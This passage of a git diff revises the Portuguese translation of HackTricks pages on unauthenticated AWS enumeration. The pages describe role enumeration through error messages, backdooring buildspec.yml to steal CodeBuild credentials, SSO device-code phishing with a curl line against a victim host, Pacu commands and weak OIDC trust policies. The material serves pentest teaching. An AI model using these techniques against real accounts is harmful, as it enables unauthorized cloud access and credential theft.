 - CodeBuild – StartBuild
 - CodePipeline – StartPipelineExecution
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
index 5d59bf32b..b3a21dbe7 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
@@ -4,7 +4,7 @@
 
 ## Vazamentos de Credenciais AWS
 
-Uma maneira comum de obter acesso ou informações sobre uma conta AWS é **procurando por vazamentos**. Você pode procurar por vazamentos usando **google dorks**, verificando os **repositórios públicos** da **organização** e dos **trabalhadores** da organização no **Github** ou em outras plataformas, pesquisando em **bancos de dados de vazamentos de credenciais**... ou em qualquer outra parte que você acha que pode encontrar alguma informação sobre a empresa e sua infraestrutura em nuvem.\
+Uma maneira comum de obter acesso ou informações sobre uma conta AWS é **procurando por vazamentos**. Você pode procurar por vazamentos usando **google dorks**, verificando os **repositórios públicos** da **organização** e dos **trabalhadores** da organização no **Github** ou em outras plataformas, pesquisando em **bancos de dados de vazamentos de credenciais**... ou em qualquer outra parte que você acha que pode encontrar informações sobre a empresa e sua infraestrutura em nuvem.\
 Algumas **ferramentas** úteis:
 
 - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
@@ -15,24 +15,24 @@ Algumas **ferramentas** úteis:
 
 Existem vários serviços na AWS que podem ser configurados dando algum tipo de acesso a toda a Internet ou a mais pessoas do que o esperado. Confira aqui como:
 
-- [**Enumeração Não Autenticada de Contas**](aws-accounts-unauthenticated-enum.md)
-- [**Enumeração Não Autenticada do Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
-- [**Enumeração Não Autenticada do Cloudfront**](aws-cloudfront-unauthenticated-enum.md)
-- [**Enumeração Não Autenticada do Cloudsearch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
-- [**Enumeração Não Autenticada do Cognito**](aws-cognito-unauthenticated-enum.md)
-- [**Enumeração Não Autenticada do DocumentDB**](aws-documentdb-enum.md)
-- [**Enumeração Não Autenticada do EC2**](aws-ec2-unauthenticated-enum.md)
-- [**Enumeração Não Autenticada do Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md)
-- [**Enumeração Não Autenticada do IAM**](aws-iam-and-sts-unauthenticated-enum.md)
-- [**Acesso Não Autenticado do IoT**](aws-iot-unauthenticated-enum.md)
-- [**Acesso Não Autenticado do Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md)
-- [**Acesso Não Autenticado de Mídia**](aws-media-unauthenticated-enum.md)
-- [**Acesso Não Autenticado do MQ**](aws-mq-unauthenticated-enum.md)
-- [**Acesso Não Autenticado do MSK**](aws-msk-unauthenticated-enum.md)
-- [**Acesso Não Autenticado do RDS**](aws-rds-unauthenticated-enum.md)
-- [**Acesso Não Autenticado do Redshift**](aws-redshift-unauthenticated-enum.md)
-- [**Acesso Não Autenticado do SQS**](aws-sqs-unauthenticated-enum.md)
-- [**Acesso Não Autenticado do S3**](aws-s3-unauthenticated-enum.md)
+- [**Enumeração de Contas Não Autenticadas**](aws-accounts-unauthenticated-enum.md)
+- [**Enumeração Cloud9 Não Autenticada**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
+- [**Enumeração Cloudfront Não Autenticada**](aws-cloudfront-unauthenticated-enum.md)
+- [**Enumeração Cloudsearch Não Autenticada**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
+- [**Enumeração Cognito Não Autenticada**](aws-cognito-unauthenticated-enum.md)
+- [**Enumeração DocumentDB Não Autenticada**](aws-documentdb-enum.md)
+- [**Enumeração EC2 Não Autenticada**](aws-ec2-unauthenticated-enum.md)
+- [**Enumeração Elasticsearch Não Autenticada**](aws-elasticsearch-unauthenticated-enum.md)
+- [**Enumeração IAM Não Autenticada**](aws-iam-and-sts-unauthenticated-enum.md)
+- [**Acesso IoT Não Autenticado**](aws-iot-unauthenticated-enum.md)
+- [**Acesso Kinesis Video Não Autenticado**](aws-kinesis-video-unauthenticated-enum.md)
+- [**Acesso de Mídia Não Autenticado**](aws-media-unauthenticated-enum.md)
+- [**Acesso MQ Não Autenticado**](aws-mq-unauthenticated-enum.md)
+- [**Acesso MSK Não Autenticado**](aws-msk-unauthenticated-enum.md)
+- [**Acesso RDS Não Autenticado**](aws-rds-unauthenticated-enum.md)
+- [**Acesso Redshift Não Autenticado**](aws-redshift-unauthenticated-enum.md)
+- [**Acesso SQS Não Autenticado**](aws-sqs-unauthenticated-enum.md)
+- [**Acesso S3 Não Autenticado**](aws-s3-unauthenticated-enum.md)
 
 ## Ataques entre Contas
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
index 1b36ab468..17d9aa4ec 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
@@ -1,10 +1,10 @@
-# AWS - Accounts Unauthenticated Enum
+# AWS - Enumeração de Contas Não Autenticadas
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## IDs de Conta
 
-Se você tiver um alvo, existem maneiras de tentar identificar os IDs de conta de contas relacionadas ao alvo.
+Se você tem um alvo, existem maneiras de tentar identificar os IDs de conta relacionados ao alvo.
 
 ### Força Bruta
 
@@ -24,17 +24,17 @@ Procure por URLs que contenham `<alias>.signin.aws.amazon.com` com um **alias re
 
 ### Marketplace
 
-Se um vendedor tiver **instâncias no marketplace,** você pode obter o id do proprietário (id da conta) da conta AWS que ele usou.
+Se um fornecedor tiver **instâncias no marketplace,** você pode obter o id do proprietário (id da conta) da conta AWS que ele usou.
 
 ### Snapshots
 
-- Snapshots públicos do EBS (EC2 -> Snapshots -> Public Snapshots)
+- Snapshots EBS públicos (EC2 -> Snapshots -> Public Snapshots)
 - Snapshots públicos do RDS (RDS -> Snapshots -> All Public Snapshots)
 - AMIs públicas (EC2 -> AMIs -> Public images)
 
 ### Erros
 
-Muitas mensagens de erro da AWS (mesmo acesso negado) fornecerão essa informação.
+Muitas mensagens de erro da AWS (mesmo acesso negado) fornecerão essas informações.
 
 ## Referências
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
index 8c6bf191b..b1e6b0913 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
@@ -4,7 +4,7 @@
 
 ### Bypass de Invocação da API
 
-De acordo com a palestra [Vetores de Ataque para APIs Usando AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), os Lambda Authorizers podem ser configurados **usando a sintaxe IAM** para conceder permissões para invocar endpoints da API. Isso é retirado [**da documentação**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
+De acordo com a palestra [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), os Lambda Authorizers podem ser configurados **usando a sintaxe IAM** para conceder permissões para invocar endpoints da API. Isso é retirado [**da documentação**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
 ```json
 {
 "Version": "2012-10-17",
@@ -28,15 +28,15 @@ Alguns exemplos:
 > [!WARNING]
 > Note que **"\*" não para de se expandir com barras**, portanto, se você usar "\*" em api-id, por exemplo, isso também pode indicar "qualquer estágio" ou "qualquer método", desde que a regex final ainda seja válida.\
 > Assim, `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
-> Pode validar uma solicitação POST para o estágio de teste no caminho `/prod/GET/dashboard/admin`, por exemplo.
+> Pode validar uma solicitação POST para o estágio de teste para o caminho `/prod/GET/dashboard/admin`, por exemplo.
 
 Você deve sempre ter claro o que deseja permitir o acesso e, em seguida, verificar se outros cenários são possíveis com as permissões concedidas.
 
-Para mais informações, além da [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), você pode encontrar código para implementar autorizadores na [**este github oficial da aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+Para mais informações, além da [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), você pode encontrar código para implementar autorizadores [**neste github oficial da aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
 
 ### Injeção de Política IAM
 
-Na mesma [**palestra**](https://www.youtube.com/watch?v=bsPKk7WDOnE), é exposto o fato de que, se o código estiver usando **entrada do usuário** para **gerar as políticas IAM**, curingas (e outros, como "." ou strings específicas) podem ser incluídos com o objetivo de **contornar restrições**.
+Na mesma [**palestra**](https://www.youtube.com/watch?v=bsPKk7WDOnE), é exposto o fato de que, se o código estiver usando **entrada do usuário** para **gerar as políticas IAM**, curingas (e outros como "." ou strings específicas) podem ser incluídos com o objetivo de **contornar restrições**.
 
 ### Modelo de URL Pública
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
index c038c741e..5e97e0d8a 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
@@ -12,7 +12,7 @@ Para mais informações, consulte esta página:
 
 ### buildspec.yml
 
-Se você comprometer o acesso de escrita a um repositório contendo um arquivo chamado **`buildspec.yml`**, você poderia **backdoor** este arquivo, que especifica os **comandos que serão executados** dentro de um projeto CodeBuild e exfiltrar os segredos, comprometer o que é feito e também comprometer as **credenciais do papel IAM do CodeBuild**.
+Se você comprometer o acesso de escrita a um repositório contendo um arquivo chamado **`buildspec.yml`**, você poderia **injetar um backdoor** neste arquivo, que especifica os **comandos que serão executados** dentro de um projeto CodeBuild e exfiltrar os segredos, comprometer o que é feito e também comprometer as **credenciais do papel IAM do CodeBuild**.
 
 Observe que mesmo que não haja nenhum arquivo **`buildspec.yml`**, mas você saiba que o Codebuild está sendo usado (ou um CI/CD diferente), **modificar algum código legítimo** que será executado também pode te dar um shell reverso, por exemplo.
 
@@ -24,10 +24,10 @@ Para algumas informações relacionadas, você pode consultar a página sobre co
 
 ## Runners do GitHub Actions auto-hospedados no AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
 
-Como [**indicado na documentação**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), é possível configurar o **CodeBuild** para executar **ações do Github auto-hospedadas** quando um fluxo de trabalho é acionado dentro de um repositório Github configurado. Isso pode ser detectado verificando a configuração do projeto CodeBuild, pois o **`Tipo de evento`** precisa conter: **`WORKFLOW_JOB_QUEUED`** e em um Fluxo de Trabalho do Github, porque ele selecionará um runner **auto-hospedado** assim:
+Como [**indicado na documentação**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), é possível configurar o **CodeBuild** para executar **ações do Github auto-hospedadas** quando um fluxo de trabalho é acionado dentro de um repositório Github configurado. Isso pode ser detectado verificando a configuração do projeto CodeBuild, pois o **`Tipo de evento`** precisa conter: **`WORKFLOW_JOB_QUEUED`** e em um Fluxo de Trabalho do Github porque ele selecionará um runner **auto-hospedado** assim:
 ```bash
 runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
 ```
-Esta nova relação entre Github Actions e AWS cria outra maneira de comprometer a AWS a partir do Github, já que o código no Github será executado em um projeto CodeBuild com um papel IAM anexado.
+Esse novo relacionamento entre Github Actions e AWS cria outra maneira de comprometer a AWS a partir do Github, já que o código no Github estará sendo executado em um projeto CodeBuild com um papel IAM anexado.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
index 29b8f416e..884825f8b 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
@@ -1,10 +1,10 @@
-# AWS - Cognito Unauthenticated Enum
+# AWS - Enumeração Não Autenticada do Cognito
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Cognito Não Autenticado
 
-Cognito é um serviço da AWS que permite que desenvolvedores **concedam acesso aos serviços da AWS** para os usuários de seus aplicativos. Os desenvolvedores concederão **funções IAM a usuários autenticados** em seu aplicativo (potencialmente pessoas poderão apenas se inscrever) e também podem conceder uma **função IAM a usuários não autenticados**.
+Cognito é um serviço da AWS que permite que desenvolvedores **concedam acesso aos serviços da AWS para os usuários de seus aplicativos**. Os desenvolvedores concederão **funções IAM a usuários autenticados** em seu aplicativo (potencialmente pessoas poderão apenas se inscrever) e também podem conceder uma **função IAM a usuários não autenticados**.
 
 Para informações básicas sobre o Cognito, consulte:
 
@@ -21,7 +21,7 @@ Além disso, funções IAM também podem ser atribuídas a **usuários autentica
 
 ### ID do Pool de Usuários
 
-Por padrão, o Cognito permite **registrar novos usuários**. Ser capaz de registrar um usuário pode lhe dar **acesso** ao **aplicativo subjacente** ou à **função IAM de acesso autenticado de um Pool de Identidade** que está aceitando como provedor de identidade o Pool de Usuários do Cognito. [**Verifique como fazer isso aqui**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
+Por padrão, o Cognito permite **registrar novos usuários**. Ser capaz de registrar um usuário pode lhe dar **acesso** ao **aplicativo subjacente** ou à **função de acesso IAM autenticada de um Pool de Identidade** que está aceitando como provedor de identidade o Pool de Usuários do Cognito. [**Verifique como fazer isso aqui**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
 
 ### Módulos Pacu para pentesting e enumeração
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
index 7a384005e..f18b8048d 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
@@ -1,8 +1,8 @@
-# AWS - DocumentDB Unauthenticated Enum
+# AWS - DocumentDB Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Modelo de URL pública
+### Modelo de URL Pública
 ```
 <name>.cluster-<random>.<region>.docdb.amazonaws.com
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
index 5b7b06904..ab7739fe8 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ### Repositórios de registro público (imagens)
 
-Como mencionado na seção Enum do ECS, um registro público é **acessível por qualquer pessoa** e usa o formato **`public.ecr.aws/<random>/<name>`**. Se um URL de repositório público for localizado por um atacante, ele poderia **baixar a imagem e procurar por informações sensíveis** nos metadados e no conteúdo da imagem.
+Como mencionado na seção ECS Enum, um registro público é **acessível por qualquer pessoa** e usa o formato **`public.ecr.aws/<random>/<name>`**. Se um URL de repositório público for localizado por um atacante, ele poderia **baixar a imagem e procurar por informações sensíveis** nos metadados e no conteúdo da imagem.
 ```bash
 aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
index 0f6e16d0f..d266ce340 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
@@ -10,9 +10,9 @@ Para mais informações, consulte:
 ../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### Vulnerabilidade na Web
+### Vulnerabilidade Web
 
-Observe que, por padrão, os ambientes do Beanstalk têm o **Metadatav1 desativado**.
+Note que, por padrão, os ambientes Beanstalk têm o **Metadatav1 desativado**.
 
 O formato das páginas da web do Beanstalk é **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
 
@@ -26,7 +26,7 @@ Se um ambiente do Elastic Beanstalk usar um balanceador de carga e o balanceador
 
 ### Buckets S3 Acessíveis Publicamente
 
-Aplicações do Elastic Beanstalk são frequentemente armazenadas em buckets S3 antes da implantação. Se o bucket S3 contendo a aplicação for acessível publicamente, um atacante pode **baixar o código da aplicação e procurar vulnerabilidades ou informações sensíveis**.
+Aplicações do Elastic Beanstalk são frequentemente armazenadas em buckets S3 antes da implantação. Se o bucket S3 contendo a aplicação for acessível publicamente, um atacante pode **baixar o código da aplicação e procurar por vulnerabilidades ou informações sensíveis**.
 
 ### Enumerar Ambientes Públicos
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
index 78fb64682..f1e338291 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
@@ -1,4 +1,4 @@
-# AWS - IAM & STS Enumeração Não Autenticada
+# AWS - IAM & STS Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -7,7 +7,7 @@
 ### ~~Força Bruta para Assumir Função~~
 
 > [!CAUTION]
-> **Esta técnica não funciona** mais, pois se a função existir ou não, você sempre recebe este erro:
+> **Esta técnica não funciona** mais, pois se a função existe ou não, você sempre recebe este erro:
 >
 > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
 >
@@ -19,20 +19,20 @@ Tentar **assumir uma função sem as permissões necessárias** aciona uma mensa
 ```ruby
 An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
 ```
-Esta mensagem confirma a existência da função, mas indica que sua política de assunção de função não permite sua assunção. Em contraste, tentar **assumir uma função inexistente leva a um erro diferente**:
+Esta mensagem confirma a existência do papel, mas indica que sua política de assunção de papel não permite sua assunção. Em contraste, tentar **assumir um papel inexistente leva a um erro diferente**:
 ```less
 An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
 ```
-Interessantemente, este método de **distinguir entre funções existentes e não existentes** é aplicável mesmo entre diferentes contas AWS. Com um ID de conta AWS válido e uma lista de palavras direcionada, é possível enumerar as funções presentes na conta sem enfrentar limitações inerentes.
+Interessantemente, este método de **distinguir entre funções existentes e não existentes** é aplicável mesmo entre diferentes contas AWS. Com um ID de conta AWS válido e uma lista de palavras-alvo, é possível enumerar as funções presentes na conta sem enfrentar limitações inerentes.
 
-Você pode usar este [script para enumerar potenciais principais](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando deste problema.
+Você pode usar este [script para enumerar potenciais principais](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando desse problema.
 
-### Políticas de Confiança: Força Bruta em funções e usuários de Conta Cruzada
+### Políticas de Confiança: Força Bruta de funções e usuários entre contas
 
 Configurar ou atualizar a **política de confiança de uma função IAM envolve definir quais recursos ou serviços AWS estão autorizados a assumir essa função** e obter credenciais temporárias. Se o recurso especificado na política **existe**, a política de confiança é salva **com sucesso**. No entanto, se o recurso **não existe**, um **erro é gerado**, indicando que um principal inválido foi fornecido.
 
 > [!WARNING]
-> Note que nesse recurso você poderia especificar uma função ou usuário de conta cruzada:
+> Note que nesse recurso você poderia especificar uma função ou usuário entre contas:
 >
 > - `arn:aws:iam::acc_id:role/role_name`
 > - `arn:aws:iam::acc_id:user/user_name`
@@ -99,7 +99,7 @@ Usando [Pacu](https://github.com/RhinoSecurityLabs/pacu):
 
 - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
 - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- O papel `admin` usado no exemplo é um **papel na sua conta a ser assumido** pelo pacu para criar as políticas que ele precisa criar para a enumeração
+- O papel `admin` usado no exemplo é um **papel na sua conta que pode ser impersonado** pelo pacu para criar as políticas que ele precisa para a enumeração
 
 ### Privesc
 
@@ -122,7 +122,7 @@ O atacante poderia simplesmente assumir isso.
 
 ## Federação OIDC de Terceiros
 
-Imagine que você consegue ler um **fluxo de trabalho do Github Actions** que está acessando um **papel** dentro da **AWS**.\
+Imagine que você consiga ler um **fluxo de trabalho do Github Actions** que está acessando um **papel** dentro da **AWS**.\
 Essa confiança pode dar acesso a um papel com a seguinte **política de confiança**:
 ```json
 {
@@ -144,7 +144,7 @@ Essa confiança pode dar acesso a um papel com a seguinte **política de confian
 }
 ```
 Esta política de confiança pode estar correta, mas a **falta de mais condições** deve fazer você desconfiar dela.\
-Isso ocorre porque o papel anterior pode ser assumido por **QUALQUER UM do Github Actions**! Você deve especificar nas condições também outras coisas, como nome da organização, nome do repositório, ambiente, branch...
+Isso ocorre porque o papel anterior pode ser assumido por **QUALQUER UM do Github Actions**! Você deve especificar nas condições também outras coisas, como nome da org, nome do repositório, env, brach...
 
 Outra possível má configuração é **adicionar uma condição** como a seguinte:
 ```json
@@ -152,7 +152,7 @@ Outra possível má configuração é **adicionar uma condição** como a seguin
 "token.actions.githubusercontent.com:sub": "repo:org_name*:*"
 }
 ```
-Note que **wildcard** (\*) antes do **dois pontos** (:). Você pode criar uma org como **org_name1** e **assumir o papel** a partir de uma Ação do Github.
+Note que **wildcard** (\*) antes do **dois-pontos** (:). Você pode criar uma org como **org_name1** e **assumir o papel** a partir de uma Ação do Github.
 
 ## Referências
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
index 028e8e823..2dbfbffce 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
@@ -1,10 +1,10 @@
-# AWS - Identity Center & SSO Unauthenticated Enum
+# AWS - Identity Center & SSO Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Phishing de Código de Dispositivo AWS
 
-Inicialmente proposto em [**este post de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), é possível enviar um **link** para um usuário usando AWS SSO que, se o **usuário aceitar**, o atacante poderá obter um **token para se passar pelo usuário** e acessar todos os papéis que o usuário pode acessar no **Identity Center**.
+Inicialmente proposto em [**este post do blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), é possível enviar um **link** para um usuário usando AWS SSO que, se o **usuário aceitar**, o atacante poderá obter um **token para se passar pelo usuário** e acessar todos os papéis que o usuário pode acessar no **Identity Center**.
 
 Para realizar esse ataque, os requisitos são:
 
@@ -26,7 +26,7 @@ curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
 ```
 2. **Gere o link para a vítima & Envie-o**
 
-Execute o seguinte código para gerar um link de login do AWS SSO para que a vítima possa autenticar-se.\
+Execute o seguinte código para gerar um link de login do AWS SSO para que a vítima possa se autenticar.\
 Para a demonstração, execute este código em um console Python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token:
 ```python
 import boto3
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
index e334e2862..ad06f9240 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
@@ -1,8 +1,8 @@
-# AWS - IoT Unauthenticated Enum
+# AWS - IoT Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Modelo de URL pública
+### Modelo de URL Pública
 ```
 mqtt://{random_id}.iot.{region}.amazonaws.com:8883
 https://{random_id}.iot.{region}.amazonaws.com:8443
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
index 3ba1cf37d..008f6df66 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
@@ -4,7 +4,7 @@
 
 ## URL de Função Pública
 
-É possível relacionar um **Lambda** com uma **URL de função pública** que qualquer um pode acessar. Isso pode conter vulnerabilidades na web.
+É possível relacionar um **Lambda** com uma **URL de função pública** que qualquer um pode acessar. Ela pode conter vulnerabilidades na web.
 
 ### Modelo de URL Pública
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
index 188a09976..c318f5492 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
@@ -1,8 +1,8 @@
-# AWS - Media Unauthenticated Enum
+# AWS - Enumeração de Mídia Não Autenticada
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Modelo de URL pública
+### Modelo de URL Pública
 ```
 https://{random_id}.mediaconvert.{region}.amazonaws.com
 https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
index 880bae64a..d61be841f 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
@@ -1,4 +1,4 @@
-# AWS - MQ Unauthenticated Enum
+# AWS - MQ Enum Não Autenticado
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 ### **RabbitMQ**
 
-No caso do **RabbitMQ**, por **padrão, o acesso público** e ssl estão habilitados. Mas você precisa de **credenciais** para acessar (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Além disso, é possível **acessar o console de gerenciamento da web** se você souber as credenciais em `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
+No caso do **RabbitMQ**, por **padrão, o acesso público** e ssl estão habilitados. Mas você precisa de **credenciais** para acessar (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Além disso, é possível **acessar o console de gerenciamento web** se você souber as credenciais em `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
 
 ### ActiveMQ
 
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
index 5103c50b7..d3a97e4ab 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
@@ -1,4 +1,4 @@
